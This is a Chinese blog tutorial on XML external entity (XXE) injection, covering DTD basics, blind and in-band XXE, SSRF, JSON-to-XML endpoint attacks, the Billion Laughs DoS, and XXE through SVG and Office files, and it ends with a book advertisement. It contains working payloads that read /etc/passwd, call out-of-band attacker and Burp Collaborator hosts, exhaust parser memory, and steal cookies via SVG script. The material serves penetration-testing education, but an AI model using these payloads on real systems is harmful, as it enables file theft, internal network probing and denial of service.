文章总结: 本文档深入解析XML外部实体注入(XXE)漏洞原理与利用技巧。涵盖XML基础、有回显与无回显攻击、内网端口扫描及SSRF。重点介绍了JSON接口转换攻击、XXE拒绝服务攻击以及利用Word和SVG文件进行XXE的方法。文末附书籍推荐,适合渗透测试人员学习。 综合评分: 87 文章分类: 漏洞分析,WEB安全,漏洞POC
XML外部实体注入漏洞(XXE)
原创
uuwan uuwan
SecurityBug
2026年1月24日 00:01 陕西
▲ 点击上方SecurityBug蓝字关注和✩星标,以防失联
未经同意禁止转载。
请点击文末 #漏洞教学 标签查看合集,如果对您有帮助还请点赞、在看、评论、转发、打赏哦,您的互动就是我更新最大的动力!
**# 文|uuwan
- XML基础
- 有回显和无回显的XXE
- JSON XXE
- XXE拒绝服务攻击payload
- word和svg文件造成的XXE
XML 外部实体注入漏洞 xml和html都是文本标记语言,不过xml用来进行文本传输,html用来进行文本显示。 xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,xml在引用外部实体时,可以导致命令执行,任意文件读取或者内网端口探测,因此命名为xxe漏洞。
**1
#
XML基础**
***********实体***************实体必须在DTD中声明定义DTD文档中有很多重要的关键字如下: o DOCTYPE(DTD的声明) o ENTITY(实体的声明) o SYSTEM、PUBLIC(外部资源申请) 参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用
通用实体&内部实体:<!ENTITY 实体名称 "实体的值"><?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY[ <!ENTITY name "Bill Gates">]><root>&name;</root>//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)
通用实体&外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL"><!ENTITY writer SYSTEM "file:///etc/passwd" ><!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY[ <!ENTITY name SYSTEM "file:///etc/passwd" >]><root>&name;</root>
XML的规范定义中,只有在DTD中才能引用参数实体.参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容
参数实体&内部实体:<!ENTITY % 实体名称 "实体的值">参数实体&外部实体:<!ENTITY % 实体名称 SYSTEM "URI"><!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html">//参数实体只能在DTD中定义,DTD中引用 %name; //%实体名;一个实体由三部分构成: 一个 (%), 一个实体名称, 以及一个分号 (;)]>
<?xml version="1.0" encoding="ISO-8859-1"?> //定义了xml的版本是1.0,使用的编码是ISO-8859-1//下面为DTD,xml约束<!DOCTYPE note [ //定义此文档是 note 类型的文档。 <!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading、body" <!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型 <!ELEMENT from (#PCDATA)> //定义 from 元素为 "#PCDATA" 类型 <!ELEMENT heading (#PCDATA)> // heading 元素为 "#PCDATA" 类型 <!ELEMENT body (#PCDATA)> //定义 body 元素为 "#PCDATA" 类型]>/*#PCDATA:元素内容必须为字符串类型ANY:任意类型EMPTY:元素内容必须为空 */
<note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>DTD分为外部DTD和内部DTD外部DTD<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> 内部DTD<!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html"> %name; ]>
<% x %> 是xml中的注释
<![CDATA[' or 1=1 or ''=']]> CDATA部分的内容会被xml解析器视为纯文本, 例子中' or 1=1 or ''='就被当作纯文本,这是用来测sql注入的
<?xml version="1.0" encoding="utf-8"?> 称为XML声明或者处理指令。它用于指定XML文档的版本和相关的处理信息
<?x?> 称为XML声明或者处理指令。它用于指定XML文档的版本和相关的处理信息
<x> 是一个元素标签名称
中的URI/URL可支持的协议如下:
2**
#
有回显和无回显的XXE****
参数有回显
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY name "my name is nMask">]><root>&name;</root>如果页面输出了my name is nMask说明xml文件可以被解析,那么下一步改包测试是否可以引用外部实体,是否可以xxe
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY[<!ENTITY name SYSTEM "file:///D:/sssssssssssssssssssssssstttttttttttttttttttt/burp/config.cfg" >]><root>&name;</root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId></stockCheck>
参数无回显
改为dnslog看看有没有收到记录。
还可以用下面这种测试,使用自己搭建的apache网站,开启url访问日志记录
参数实体<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]><stockCheck><productId>&xxe;</productId></stockCheck>
内网端口扫描ssrf
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [ <!ELEMENT name ANY > <!ENTITY XXE SYSTEM "http://ip:port" >]><root><name>&XXE;</name></root>
端口开放时会返回报错信息,端口不存在时会无法连接
ssrf<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
端口不存在会无法连接,如下
#
**3
#
JSON XXE**
很多web和移动应用都基于客户端-服务器交互模式的web通信服务,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击。
原始请求和响应:
HTTP Request:
POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/jsonContent-Length: 38{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 43{"error": "no results for name netspitest"}
进一步请求和响应:
现在我们尝试将 Content-Type 修改为 application/xml
HTTP Request:
POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/xmlContent-Length: 38{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server ErrorContent-Type: application/jsonContent-Length: 127{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击。
最终的请求和响应:
HTTP Request:
POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/xmlContent-Length: 288
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><search>name</search><value>&xxe;</value></root>
HTTP Response:
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 2467{"error": "no results for name root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/sync....
4**
#
XXE拒绝服务攻击payload****
<?xml version="1.0"?><!DOCTYPE netspi [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DoS 攻击。
原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
php防御手段:
$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); loadXML函数内部有检测实体循环解析的防御机制
5**
#
word和svg文件造成的XXE****
svg文件
可以进行xss攻击
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"><polygon id="triangle" points="0,0 0,50 50,0" fill="#009901" stroke="#004400"/>
<script type="text/javascript">alert(document.cookie);</script></svg>
可以读取文件进行xxe攻击,将文件内容显示在图片上
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
word文件
将word文件重命名为zip后缀,解压得到
修改Content_Types.xml
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]><x>&xxe;</x>
重新压缩,再将压缩包的后缀名修改为xlsx
可以修改的文件:xl/workbook.xml、Content_Types.xml、word/document.xml
如何使用burp测试
Burp Collaborator
u503rciaxq4opr00n0c2ncbz3q9hx8lx.oastify.com<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://637fpogmv220n3yclcaelo9b127tvmjb.oastify.com"> ]><x>&xxe;</x>
**## *To be continue…***
如果您想了解完整的XXE漏洞原理、攻击方式或者更多的安全测试内容。
请阅读《网络安全治理:基于DevSecOps的理论与实践》,本书包含黑白盒安全测试、安卓端安全测试、AI大模型安全测试、红蓝对抗等诸多内容。
该书由本人联合网络安全领域顶尖专家倾心打造,机械工业出版社重磅出版!
无论你是安全从业者、CTO、渗透测试工程师,还是对网络安全治理充满好奇的技术爱好者,都可以从本书学到你想要的知识。
想购买的朋友可以在京东网、淘宝网、当当网等平台购买。
**
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SecurityBug uuwan uuwan《XML外部实体注入漏洞(XXE)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论